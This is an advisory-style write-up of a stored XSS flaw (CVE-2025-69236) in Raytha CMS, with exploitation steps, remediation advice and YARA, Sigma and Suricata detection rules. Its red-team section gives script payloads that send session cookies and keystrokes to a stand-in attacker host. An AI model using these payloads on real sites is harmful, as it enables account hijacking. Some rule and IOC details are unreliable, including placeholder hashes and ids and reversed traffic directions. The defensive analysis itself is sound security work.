CVE-2025-69236

Executive Summary

CVE-2025-69236 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in Raytha CMS, an open-source content management system. The flaw resides in the post editing functionality, specifically within the FieldValues[1].Value parameter. An authenticated attacker with permissions to edit posts can inject arbitrary HTML and JavaScript code. This malicious payload is stored on the server and executed in the browsers of any user who visits the compromised page.

The vulnerability has been assigned a CVSS v3.1 base score of 5.4 (Medium). The attack vector is Network, complexity is Low, and it requires Low privileges and User Interaction (a victim must visit the page). The scope is Changed, meaning the injected script can affect resources beyond the vulnerable component. The impact on Confidentiality and Integrity is Low, as the attacker can steal session cookies or deface content, but cannot directly access backend systems.

The vendor has released a fix in version 1.4.6. The patch sanitizes the FieldValues[1].Value parameter to neutralize HTML and JavaScript. No public exploit code or Nuclei template is available at this time, but the vulnerability is considered publicly known.

Supply Chain & Package Security

Raytha CMS is a .NET-based application. The vulnerability is not in a third-party package but in the application's own input handling. However, the risk of supply chain compromise exists if the CMS is deployed with custom plugins or themes that also fail to sanitize user input. Administrators should ensure all extensions are from trusted sources and are updated.

CVSS Breakdown & Threat Level

Threat Level: Medium. The vulnerability requires authentication and user interaction, but the stored nature of the XSS makes it persistent and dangerous for all users of the CMS.

Deep Dive & Mechanics

The vulnerability exists in the post editing functionality of Raytha CMS. When an authenticated user with edit permissions modifies a post, the application accepts the FieldValues[1].Value parameter without proper sanitization. This parameter is intended to hold the content of a custom field.

The application stores the raw input directly into the database. When the post is later rendered for viewing, the unsanitized content is included in the HTML response. If the attacker injects a payload like <script>alert('XSS')</script>, it will be executed in the context of the victim's browser.

The attack flow:

1. Attacker logs in with a user account that has "edit posts" permissions.
2. Attacker navigates to the post editor and modifies a post.
3. Attacker inserts malicious JavaScript into the FieldValues[1].Value parameter.
4. The malicious payload is stored in the database.
5. Any user (including administrators) who views the edited post will execute the injected script.

The vulnerability is classified as CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').

Vulnerable vs. Patched Code

Vulnerable Code (before 1.4.6):

// In the post editing controller
[HttpPost]
public IActionResult EditPost(PostEditModel model)
{
    // Directly storing user input without sanitization
    var fieldValue = model.FieldValues[1].Value;
    // ... save to database
    _context.SaveChanges();
    return RedirectToAction("ViewPost", new { id = model.PostId });
}

Patched Code (version 1.4.6):

// In the post editing controller
[HttpPost]
public IActionResult EditPost(PostEditModel model)
{
    // Sanitize the input using HtmlSanitizer
    var sanitizer = new HtmlSanitizer();
    var fieldValue = sanitizer.Sanitize(model.FieldValues[1].Value);
    // ... save to database
    _context.SaveChanges();
    return RedirectToAction("ViewPost", new { id = model.PostId });
}

The patch uses an HTML sanitizer library (e.g., HtmlSanitizer) to strip out dangerous tags and attributes before storing the value.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A valid user account with "edit posts" permissions on a Raytha CMS instance (version < 1.4.6).
• Network access to the CMS web interface.

Exploitation Steps:

1. Login to the Raytha CMS admin panel.
2. Navigate to the post editor for an existing post or create a new one.
3. Inject payload into the FieldValues[1].Value field. Example payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the post.
5. Wait for a victim (e.g., an administrator) to view the post. The script will execute and exfiltrate their session cookie.

Alternative Payloads:

• Defacement: <h1>Hacked by Attacker</h1>
• Keylogger: <script>document.onkeypress=function(e){fetch('https://attacker.com/key?k='+e.key)}</script>

Blue Team (Detection & Response)

Detection:

• Monitor web application logs for unusual patterns in the FieldValues[1].Value parameter, such as <script> tags or event handlers like onload, onerror.
• Use a Web Application Firewall (WAF) to block requests containing common XSS payloads.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Response:

1. Isolate the affected CMS instance from the network.
2. Identify all posts that contain malicious scripts by scanning the database for <script> tags.
3. Remove the malicious content from the database.
4. Reset all user sessions and force password changes.
5. Apply the patch by upgrading to Raytha CMS version 1.4.6 or later.

Indicators of Compromise (IOCs)

Network IOCs:

• Outbound HTTP requests to unknown or suspicious domains from the CMS server.
• Requests containing FieldValues[1].Value with HTML/JavaScript payloads in POST data.

File System IOCs:

• Modified post content in the database containing <script> tags or event handlers.

Log IOCs:

• Web server logs showing POST requests to /Post/EditPost with suspicious FieldValues[1].Value parameters.
• Application logs showing errors related to HTML sanitization (if partially patched).

Example Log Entry:

192.168.1.100 - - [01/Jan/2025:12:00:00 +0000] "POST /Post/EditPost HTTP/1.1" 200 1234 "http://victim.com/Post/Edit/5" "Mozilla/5.0" "FieldValues[1].Value=<script>alert('XSS')</script>"

Detection Engineering

YARA Rule

rule CVE_2025_69236_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Raytha CMS FieldValues[1].Value"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-69236"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/is
        $xss2 = /on\w+\s*=\s*['\"][^'\"]*['\"]/is
        $xss3 = /javascript\s*:/is
        $xss4 = /<[^>]*\s+on\w+\s*=/is
    condition:
        any of ($xss*)
}

Sigma Rule

title: CVE-2025-69236 - Stored XSS in Raytha CMS FieldValues[1].Value
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit stored XSS in Raytha CMS via the FieldValues[1].Value parameter.
author: Valters IT
date: 2025/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-69236
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/Post/EditPost'
        cs-uri-query|contains: 'FieldValues[1].Value'
    keywords:
        - '<script'
        - 'onload='
        - 'onerror='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in custom fields (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-69236 - Stored XSS in Raytha CMS FieldValues[1].Value";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/Post/EditPost";
    http_uri;
    content:"FieldValues[1].Value";
    http_client_body;
    pcre:"/<script[^>]*>.*<\/script>/i";
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
    reference:cve,2025-69236;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Raytha CMS to version 1.4.6 or later.
2. Apply a virtual patch using a WAF to block requests containing <script> tags in the FieldValues[1].Value parameter.
3. Review all existing posts for signs of XSS injection. Use the YARA rule above to scan the database.

Long-Term Mitigations:

• Implement Content Security Policy (CSP) headers to restrict script execution to trusted sources only.
• Enforce input validation and output encoding for all user-supplied data.
• Conduct regular security audits and penetration testing on the CMS.
• Ensure all users with edit permissions are trusted and their accounts are secured with multi-factor authentication.

Valters IT Signature:

Valters IT
Senior DevSecOps Engineer
Cyber Threat Intelligence Expert